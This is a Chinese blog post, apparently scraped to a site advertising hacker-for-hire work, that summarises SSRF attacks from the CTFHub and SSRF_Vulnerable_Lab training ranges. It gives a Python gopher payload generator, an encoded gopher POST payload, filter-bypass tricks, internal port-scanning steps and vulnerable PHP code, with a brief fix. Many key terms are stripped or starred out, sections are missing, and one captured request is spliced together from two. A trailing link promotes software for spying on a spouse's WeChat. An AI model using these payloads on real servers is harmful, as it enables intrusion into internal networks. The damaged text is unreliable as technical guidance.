SSRF的利用方式

访客4年前关于黑客接单752

SSRF的利用方式

本文对ctfhub和SSRF_Vulnerable_Lab中SSRF的利用方式进行了总结。

0x00 技能树

1615317124_6047c88468199a4aed8b7.png!small?1615317126156

SSRF

常利用的相关协议

:探测内网主机存活、端口开放情况

:发送GET或POST请求;攻击内网应用,如FastCGI、Redis

:泄露安装软件版本信息,查看端口,操作内网redis访问等

:读取本地文件

Bypass

常见限制:

限制为域名,

限制请求IP不为内网地址

采用短网址绕过

采用特殊域名

采用进制转换:如,十进制形式、十六进制形式

限制请求IP只为http协议

采用302跳转

采用短地址

常见绕过 *** :

利用302跳转

进制转换

利用DNS解析

利用@绕过

利用

添加端口号

利用短网址

其他各种指向127.0.0.1的地址

漏洞产生

相关PHP函数


相关PHP内置类

攻击内网应用

redis

fastcgi

mysql

postgresql

zabbix

pymemcache

*** tp

0x01 推荐文献

我在CTFHub学习SSRF

靶场:

ctfhub

SSRF_Vulnerable_Lab作者详细的写了每一关的writeup。

工具:

rebinder用于DNS重绑定

bitly生成短链接

0x02 SSRF漏洞的介绍、成因、场景

介绍

ssrf(Server-Side Request Forgery:服务器端请求伪造): 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

成因

都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我构造好我的访问包,那我就有可能利用目标服务对他的其他服务器应用进行调用。

SSRF 漏洞出现的场景

1.能够对外发起 *** 请求的地方,就可能存在 SSRF 漏洞

2.从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)

3.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)

4.Webmail 收取其他邮箱邮件(POP3、IMAP、 *** TP)

5.文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

0x03 SSRF的利用

一、内网访问

使用http协议对内网的Web应用进行访问

二、伪协议读取文件

php伪协议

PHP支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php.ini参数设置

:默认值On,允许url里的封装协议访问文件。

:默认值Off,不允许url里的封装协议包含文件。

各协议的利用条件和 ***

1615317152_6047c8a04b410e1718a53.png!small?1615317152257

举例:

三、端口扫描

在SSRF中,dict协议与http协议可以用来探测内网主机存活与端口开放情况。

用burp,在intruder中,将端口设置为变量。使用Simple List扫描常用端口,或者使用NumerList进行枚举。当发现长度不同的数据包时,再用协议进一步探测。

前置知识:Gopher协议的利用

什么是gopher协议

协议是一种信息查找系统,他将上的文件组织成某种索引,方便用户从的一处带到另一处。在出现之前,是上最主要的信息检索工具,Gopher站点也是最主要的站点,使用端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。

协议的格式:

gopher协议发送http get请求

构造数据包

编码、替换回车换行为,包最后加代表消息结束

发送协议, 协议后的一定要接端口

发送http post请求

与传参的区别:它有个参数为必要参数

需要传递,,,的参数

四、发送POST请求

使用file协议读取源码:

使用如下python脚本生成标准格式的gopher协议

用于解析URL

对URL中的特殊字符进行编码

替换字符串

import urllib.parse
?
payload=\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
?
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp=urllib.parse.quote(payload)
new=tmp.replace('%0A','%0D%0A')
result='gopher://127.0.0.1:80/'+'_'+new
result=urllib.parse.quote(result)
print(result)

注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。

注意Content-Length应为POST数据内容的长度,这里为36。

因为会将换行编码为,而在gopher协议中,进行URL编码,会将回车换行编码为,所以,第二步使用将替换为。接下来,拼接上gopher协议的标准格式,最后再使用一次对新增的部分进行URL编码。因为新增的部分不是POST数据包的内容,所以也就不存在回车换行,也就不需要将替换为。

标准gopher协议的格式如下:

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da68a3b03e80ce7fef96007dfa01dc077%250D%250A

五、提交文件

首先抓取一个正常提交文件的数据包,然后使用上述脚本将其转换为gopher协议的格式。

import urllib.parse
?
payload=\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0BDuCoolR1Vg7or
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/SSRF/sql_connect.php
Cookie: PHPSESSID=vq3t1tdrhkqtjihtof17q9qme6
Upgrade-Insecure-Requests: 1
?
host=127.0.0.1&uname=root&pass=root& *** mt=Chal+Billu%2C+Ghuma+de+soda+%3E%3AD%3C

场景一:IP存活且端口开放

如果你指定的IP地址存活、指定的端口上运行着MySQL服务,并且输入了正确的用户名和密码。那么页面不会返回任何的提示信息。因为这次连接没有发生错误,返回0。根本就不会进入到输出错误信息的分支。

if (mysqli_connect_errno())
{
echo ?mysqli_connect_error();
}

如果你指定的IP地址存活、指定的端口开启,但上面没有运行MySQL服务,而是运行的其他服务。则脚本显示错误信息:"MySQL has gone away"。

1615317397_6047c995e3407313a33ab.png!small?1615317397885

1615317410_6047c9a23090e0ff1cb32.png!small?1615317410405

1615317419_6047c9ab906039366ed7b.png!small?1615317419931

场景二、IP存活但是端口关闭

在这个场景下,远程IP存活,但是指定端口关闭。脚本会打印信息:“Connection refused”。

1615317430_6047c9b6bc3616e2e6630.png!small?1615317431690

1615317443_6047c9c3f20813e159d3f.png!small?1615317443939

基于上述两个场景,就可以判断指定IP开放了哪些端口

1615317455_6047c9cf06fa5ed27ce8b.png!small?1615317455098

1615317464_6047c9d887adda6aa9c82.png!small?1615317464544

场景三:IP不存在

在这个场景下,远程IP不存在。应用程序尝试与不存在的IP建立连接,这会花比场景二更长的时间,最终发生连接超时。应用程序脚本打印"Third party not responding" 表示指定IP不存在。

首先使用探测内网中存活的主机

fping -a -g 192.168.245.1 192.168.245.254
192.168.245.2
192.168.245.134
192.168.245.135
192.168.245.146
192.168.245.152
192.168.245.237

应用程序响应"由于连接方在一段时间后没有正确答复或连接的主机没有反应,连接尝试失败。",表明192.168.245.200这个IP不存在。

1615317480_6047c9e89980ef12a24a7.png!small?1615317480668

十四、应用程序代码获取并显示指定内容

测试环境:SSRF_Vulnerable_Lab

Application code fetch and disply the content of the specified file (file_get_contents.php)

This Lab is just to demonstrate how SSRF can be exploited to perform reading files/remote URLs

在编程语言中,有一些函数可以获取本地保存的文件内容(例如PHP中的)。这些功能可能能够从远程URL以及本地文件中获取内容。

如果应用程序未在用户提供的数据之前添加任何的字符串就从文件中获取内容,即应用程序未在用户提供的数据前添加目录名或路径,则该功能可能被滥用。

在这种情况下, 这些数据获取功能可以处理或之类的协议。当用户指定远程URL代替文件名(例如)时,数据获取功能将从指定的URL中提取数据。

如果应用程序在用户数据前添加目录名或路径,并且过滤掉,防止用相对路径进行目录遍历。则或协议将不起作用,并且无法利用SSRF漏洞。

在此示例中,应用程序具有获取和显示文件内容的功能。

当用户尝试读取保存在服务器上的文件的内容时,有漏洞的代码只检查文件是否在服务器上存在,如果文件在服务器上,就显示内容。

用户选择要加载的文件,并点击Load File之后,抓取到如下数据包

POST /ssrf/file_get_content.php HTTP/1.1
Host: 192.168.245.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://192.168.245.134
Connection: close
Referer: http://192.168.245.134/ssrf/file_get_content.php
Upgrade-Insecure-Requests: 1
?
file=local.txt&read=load+file

的核心代码。读取指定文件内容,并在前端页面显示。

if(isset($_POST['read']))
{
?
$file=trim($_POST['file']);
?
echo htmlentities(file_get_contents($file));
?
}

trim() 函数移除字符串两侧的空白字符或其他预定义字符。htmlentities()把字符转换为html实体。

有漏洞的代码允许用户使用协议。比如,在Linux服务器上,用户可以读取;在Windows服务器上,用户可以读取。

1615317625_6047ca799600dee20c7aa.png!small?1615317625835

1615317644_6047ca8ce58b1f1a05091.png!small?1615317645073

访问内网服务URL

攻击者不仅可以利用有漏洞的代码来读取本地文件,而且可以访问内网环境(或者其他内网主机)上的Web应用程序。

用户指定URL,该URL指向本地服务器上保存的文件box.txt。

修复方案

在用户数据前添加目录名或绝对路径,并且,过滤掉,防止利用相对路径进行目录遍历。这种情况下,或协议将不起作用。

相关文章

快播王欣上线新app叫什么(专访快播创始人王欣

快播王欣上线新app叫什么(专访快播创始人王欣

天下网商实习记者/章航英 创业的路不好走。原快播CEO王欣应该深有体会。然而出狱后再创业的首款产品就遭到全网封杀,他应该是没想到的。 1月15日,快播创始人王欣发布马桶MT,试运营几个小时之后...

英国夏令营价格贵不贵(英国夏令营值得去吗)

英国夏令营价格贵不贵(英国夏令营值得去吗)

  眼看夏天来临,各种海外游学、夏令营宣传攻势如火如荼。面对这波涛汹涌的游学潮,真是几家欢乐几家愁。 “一次英国夏令营,抵我三个月工资”,去年杭州一位妈妈的故事在网上引起了广泛讨论。  ...

好词摘抄(好段20字摘抄大全)

  好词 校园 校舍 讲堂 操场 跑道 宁静 喧哗 嘈杂 干净 清洁 整洁 欢悦 玩耍 做操 举动场 田径场 绿茵茵 静暗暗 朝气勃勃 朝气盎然 朝气勃发 春色满园 洒满阳光 人声鼎沸 书声琅。。  ...

微信跟踪聊天信息软件(怎么样同步接收老公微信信息)

手机微信追踪闲聊信息软件(如何同歩接受丈夫微信信息) 手机微信很常见,能够发语音,能够聊视頻,能够发图文本。 有很多女士,也不太了解另一方再想干什么,不清楚另一方在跟谁闲聊,以致于结婚后就没了太多...

如何做google推广?教你通过4个步骤在Google上做广告

怎样做google营销推广?简易4步,就可以制做出第一个Google关键词广告 。依靠Google Ads ,轻松就能向全球展现您的独到见解,将正在搜索您所出示商品或服务项目的顾客统统“收入囊中”。第...

“分享”,到底是怎么一回事?

“分享”,到底是怎么一回事?

“分享”已然成为产品的一个基础功能。但是“分享”按钮的背后,到底在分享什么? 新买的洋娃娃要和隔壁小美一起玩,亲戚给的大白兔奶糖要和幼儿园的小朋友分着吃,应用题有好的解题思路也要和同学们一起分享。...